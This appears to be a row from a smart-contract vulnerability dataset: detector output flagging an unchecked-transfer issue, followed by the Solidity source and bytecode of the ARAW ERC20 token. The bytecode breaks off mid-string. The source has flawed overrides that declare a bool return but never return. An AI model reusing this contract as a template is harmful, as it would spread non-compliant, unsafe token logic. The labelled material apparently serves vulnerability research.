05282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015612056573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381161580159061208c5750896001600160a01b0316816001600160a01b0316145b6120c7576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b6120d28a8a8a612200565b50505050505050505050565b600a60209081526000928352604080842090915290825290205481565b6000546001600160a01b03163314612145576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b81816007858154811061215457fe5b90600052602060002001919061216b9291906123d0565b507f8353bf99044ef1e4388a189da7c56d24f2b33549e3dfffdba49ca25a4e3aa1a983838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b6000828211156121e857600080fd5b50900390565b600082820183811015610e7957600080fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600b602052604090205461228590826121d9565b6001600160a01b0383166000908152600b60205260409020556002546122ab90826121d9565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60035460025461230390836121ee565b111561233f576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600b602052604090205461236290826121ee565b6001600160a01b0383166000908152600b602052604090205560025461238890826121ee565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612406576000855561244c565b82601f1061241f5782800160ff1982351617855561244c565b8280016001018555821561244c579182015b8281111561244c578235825591602001919060010190612431565b5061245892915061245c565b5090565b5b80821115612458576000815560010161245d56fea2646970667358221220e2a83437d720379eebafb5debf3e3c487cf3173774570bb458b3f4396dfc2ffa64736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,343 |
0x30680ac0a8a993088223925265fd7a76beb87e7f
|
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// Ownership functionality for authorization controls and user permissions
// ----------------------------------------------------------------------------
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// ERC20 Standard Interface
// ----------------------------------------------------------------------------
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// ----------------------------------------------------------------------------
// Basic version of StandardToken, with no allowances.
// ----------------------------------------------------------------------------
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract ArawToken is StandardBurnableToken, Ownable {
using SafeMath for uint256;
string public symbol = "ARAW";
string public name = "ARAW";
uint256 public decimals = 18;
/* Wallet address will be changed for production */
address public arawWallet;
/* Locked tokens addresses - will be changed for production */
address public reservedTokensAddress;
address public foundersTokensAddress;
address public advisorsTokensAddress;
/* Variables to manage Advisors tokens vesting periods time */
uint256 public advisorsTokensFirstReleaseTime;
uint256 public advisorsTokensSecondReleaseTime;
uint256 public advisorsTokensThirdReleaseTime;
/* Flags to indicate Advisors tokens released */
bool public isAdvisorsTokensFirstReleased;
bool public isAdvisorsTokensSecondReleased;
bool public isAdvisorsTokensThirdReleased;
/* Variables to hold reserved and founders tokens locking period */
uint256 public reservedTokensLockedPeriod;
uint256 public foundersTokensLockedPeriod;
/* Total advisors tokens allocated */
uint256 totalAdvisorsLockedTokens;
modifier checkAfterICOLock () {
if (msg.sender == reservedTokensAddress){
require (now >= reservedTokensLockedPeriod);
}
if (msg.sender == foundersTokensAddress){
require (now >= foundersTokensLockedPeriod);
}
_;
}
function transfer(address _to, uint256 _value)
public
checkAfterICOLock
returns (bool) {
super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
checkAfterICOLock
returns (bool) {
super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
public
checkAfterICOLock
returns (bool) {
super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue)
public
checkAfterICOLock
returns (bool) {
super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
checkAfterICOLock
returns (bool) {
super.decreaseApproval(_spender, _subtractedValue);
}
/**
* @dev Transfer ownership now transfers all owners tokens to new owner
*/
function transferOwnership(address newOwner) public onlyOwner {
balances[newOwner] = balances[newOwner].add(balances[owner]);
emit Transfer(owner, newOwner, balances[owner]);
balances[owner] = 0;
super.transferOwnership(newOwner);
}
/* ICO status */
enum State {
Active,
Closed
}
event Closed();
State public state;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor(address _reservedTokensAddress, address _foundersTokensAddress, address _advisorsTokensAddress, address _arawWallet) public {
owner = msg.sender;
reservedTokensAddress = _reservedTokensAddress;
foundersTokensAddress = _foundersTokensAddress;
advisorsTokensAddress = _advisorsTokensAddress;
arawWallet = _arawWallet;
totalSupply_ = 5000000000 ether;
balances[msg.sender] = 3650000000 ether;
balances[reservedTokensAddress] = 750000000 ether;
balances[foundersTokensAddress] = 450000000 ether;
totalAdvisorsLockedTokens = 150000000 ether;
balances[this] = 150000000 ether;
state = State.Active;
emit Transfer(address(0), msg.sender, balances[msg.sender]);
emit Transfer(address(0), reservedTokensAddress, balances[reservedTokensAddress]);
emit Transfer(address(0), foundersTokensAddress, balances[foundersTokensAddress]);
emit Transfer(address(0), address(this), balances[this]);
}
/**
* @dev release tokens for advisors
*/
function releaseAdvisorsTokens() public returns (bool) {
require(state == State.Closed);
require (now > advisorsTokensFirstReleaseTime);
if (now < advisorsTokensSecondReleaseTime) {
require (!isAdvisorsTokensFirstReleased);
isAdvisorsTokensFirstReleased = true;
releaseAdvisorsTokensForPercentage(30);
return true;
}
if (now < advisorsTokensThirdReleaseTime) {
require (!isAdvisorsTokensSecondReleased);
if (!isAdvisorsTokensFirstReleased) {
isAdvisorsTokensFirstReleased = true;
releaseAdvisorsTokensForPercentage(60);
} else{
releaseAdvisorsTokensForPercentage(30);
}
isAdvisorsTokensSecondReleased = true;
return true;
}
require (!isAdvisorsTokensThirdReleased);
if (!isAdvisorsTokensFirstReleased) {
releaseAdvisorsTokensForPercentage(100);
} else if (!isAdvisorsTokensSecondReleased) {
releaseAdvisorsTokensForPercentage(70);
} else{
releaseAdvisorsTokensForPercentage(40);
}
isAdvisorsTokensFirstReleased = true;
isAdvisorsTokensSecondReleased = true;
isAdvisorsTokensThirdReleased = true;
return true;
}
/**
* @param percent tokens release for advisors from their pool
*/
function releaseAdvisorsTokensForPercentage(uint256 percent) internal {
uint256 releasedTokens = (percent.mul(totalAdvisorsLockedTokens)).div(100);
balances[advisorsTokensAddress] = balances[advisorsTokensAddress].add(releasedTokens);
balances[this] = balances[this].sub(releasedTokens);
emit Transfer(this, advisorsTokensAddress, releasedTokens);
}
/**
* @dev all ether transfer to another wallet automatic
*/
function () public payable {
require(state == State.Active); // Reject the transactions after ICO ended
require(msg.value >= 0.1 ether);
arawWallet.transfer(msg.value);
}
/**
* After ICO close it helps to lock tokens for pools
**/
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
foundersTokensLockedPeriod = now + 365 days;
reservedTokensLockedPeriod = now + 1095 days; //3 years
advisorsTokensFirstReleaseTime = now + 12 weeks; //3 months to unlock 30 %
advisorsTokensSecondReleaseTime = now + 24 weeks; // 6 months to unlock 30%
advisorsTokensThirdReleaseTime = now + 365 days; //1 year to unlock 40 %
emit Closed();
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610241578063095ea7b3146102d157806312eba7731461033657806318160ddd146103655780631b27c873146103905780631f4ca28f146103bb57806323b872dd146103ea5780632cc5d6621461046f5780632e5a6f17146104c6578063313ce567146104f557806342966c681461052057806343d726d61461054d578063455778ed146105645780635e2dff7a1461058f57806366188463146105ba5780636c1d4fd91461061f57806370a082311461064a578063715018a6146106a157806379cc6790146106b85780638da5cb5b1461070557806395d89b411461075c578063a9059cbb146107ec578063b991357c14610851578063c19d93fb14610880578063d20f5029146108b9578063d73dd62314610910578063d86eb3b714610975578063dbf81cc6146109cc578063dd62ed3e14610a23578063f2fde38b14610a9a578063f5166eea14610add575b6000600181111561019857fe5b601260009054906101000a900460ff1660018111156101b357fe5b1415156101bf57600080fd5b67016345785d8a000034101515156101d657600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561023e573d6000803e3d6000fd5b50005b34801561024d57600080fd5b50610256610b08565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561029657808201518184015260208101905061027b565b50505050905090810190601f1680156102c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102dd57600080fd5b5061031c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba6565b604051808215151515815260200191505060405180910390f35b34801561034257600080fd5b5061034b610c89565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a610c9c565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103a5610ca6565b6040518082815260200191505060405180910390f35b3480156103c757600080fd5b506103d0610cac565b604051808215151515815260200191505060405180910390f35b3480156103f657600080fd5b50610455600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cbf565b604051808215151515815260200191505060405180910390f35b34801561047b57600080fd5b50610484610da4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d257600080fd5b506104db610dca565b604051808215151515815260200191505060405180910390f35b34801561050157600080fd5b5061050a610fc3565b6040518082815260200191505060405180910390f35b34801561052c57600080fd5b5061054b60048036038101908080359060200190929190505050610fc9565b005b34801561055957600080fd5b50610562610fd6565b005b34801561057057600080fd5b506105796110f7565b6040518082815260200191505060405180910390f35b34801561059b57600080fd5b506105a46110fd565b6040518082815260200191505060405180910390f35b3480156105c657600080fd5b50610605600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611103565b604051808215151515815260200191505060405180910390f35b34801561062b57600080fd5b506106346111e6565b6040518082815260200191505060405180910390f35b34801561065657600080fd5b5061068b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ec565b6040518082815260200191505060405180910390f35b3480156106ad57600080fd5b506106b6611234565b005b3480156106c457600080fd5b50610703600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611339565b005b34801561071157600080fd5b5061071a6114e1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076857600080fd5b50610771611507565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107b1578082015181840152602081019050610796565b50505050905090810190601f1680156107de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107f857600080fd5b50610837600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a5565b604051808215151515815260200191505060405180910390f35b34801561085d57600080fd5b50610866611688565b604051808215151515815260200191505060405180910390f35b34801561088c57600080fd5b5061089561169b565b604051808260018111156108a557fe5b60ff16815260200191505060405180910390f35b3480156108c557600080fd5b506108ce6116ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561091c57600080fd5b5061095b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116d4565b604051808215151515815260200191505060405180910390f35b34801561098157600080fd5b5061098a6117b7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109d857600080fd5b506109e16117dd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a2f57600080fd5b50610a84600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611803565b6040518082815260200191505060405180910390f35b348015610aa657600080fd5b50610adb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061188a565b005b348015610ae957600080fd5b50610af2611b32565b6040518082815260200191505060405180910390f35b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9e5780601f10610b7357610100808354040283529160200191610b9e565b820191906000526020600020905b815481529060010190602001808311610b8157829003601f168201915b505050505081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610c1057600f544210151515610c0f57600080fd5b5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610c78576010544210151515610c7757600080fd5b5b610c828383611b38565b5092915050565b600e60009054906101000a900460ff1681565b6000600154905090565b600b5481565b600e60019054906101000a900460ff1681565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d2957600f544210151515610d2857600080fd5b5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d91576010544210151515610d9057600080fd5b5b610d9c848484611c2a565b509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600180811115610dd857fe5b601260009054906101000a900460ff166001811115610df357fe5b141515610dff57600080fd5b600b5442111515610e0f57600080fd5b600c54421015610e6357600e60009054906101000a900460ff16151515610e3557600080fd5b6001600e60006101000a81548160ff021916908315150217905550610e5a601e611fe4565b60019050610fc0565b600d54421015610ef857600e60019054906101000a900460ff16151515610e8957600080fd5b600e60009054906101000a900460ff161515610ec9576001600e60006101000a81548160ff021916908315150217905550610ec4603c611fe4565b610ed4565b610ed3601e611fe4565b5b6001600e60016101000a81548160ff02191690831515021790555060019050610fc0565b600e60029054906101000a900460ff16151515610f1457600080fd5b600e60009054906101000a900460ff161515610f3957610f346064611fe4565b610f6a565b600e60019054906101000a900460ff161515610f5e57610f596046611fe4565b610f69565b610f686028611fe4565b5b5b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff0219169083151502179055506001600e60026101000a81548160ff021916908315150217905550600190505b90565b60065481565b610fd33382612205565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103257600080fd5b6000600181111561103f57fe5b601260009054906101000a900460ff16600181111561105a57fe5b14151561106657600080fd5b6001601260006101000a81548160ff0219169083600181111561108557fe5b02179055506301e1338042016010819055506305a39a804201600f81905550626ebe004201600b8190555062dd7c004201600c819055506301e133804201600d819055507f1cdde67b72a90f19919ac732a437ac2f7a10fc128d28c2a6e525d89ce5cd9d3a60405160405180910390a1565b600c5481565b60105481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561116d57600f54421015151561116c57600080fd5b5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156111d55760105442101515156111d457600080fd5b5b6111df83836123b8565b5092915050565b600d5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561129057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156113c457600080fd5b61145381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114dd8282612205565b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561159d5780601f106115725761010080835404028352916020019161159d565b820191906000526020600020905b81548152906001019060200180831161158057829003601f168201915b505050505081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561160f57600f54421015151561160e57600080fd5b5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561167757601054421015151561167657600080fd5b5b6116818383612662565b5092915050565b600e60029054906101000a900460ff1681565b601260009054906101000a900460ff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561173e57600f54421015151561173d57600080fd5b5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156117a65760105442101515156117a557600080fd5b5b6117b08383612881565b5092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e657600080fd5b611997600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7d90919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2f81612a9b565b50565b600f5481565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c6757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cb457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d3f57600080fd5b611d90826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e23826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600061200e606461200060115485612bf390919063ffffffff16565b6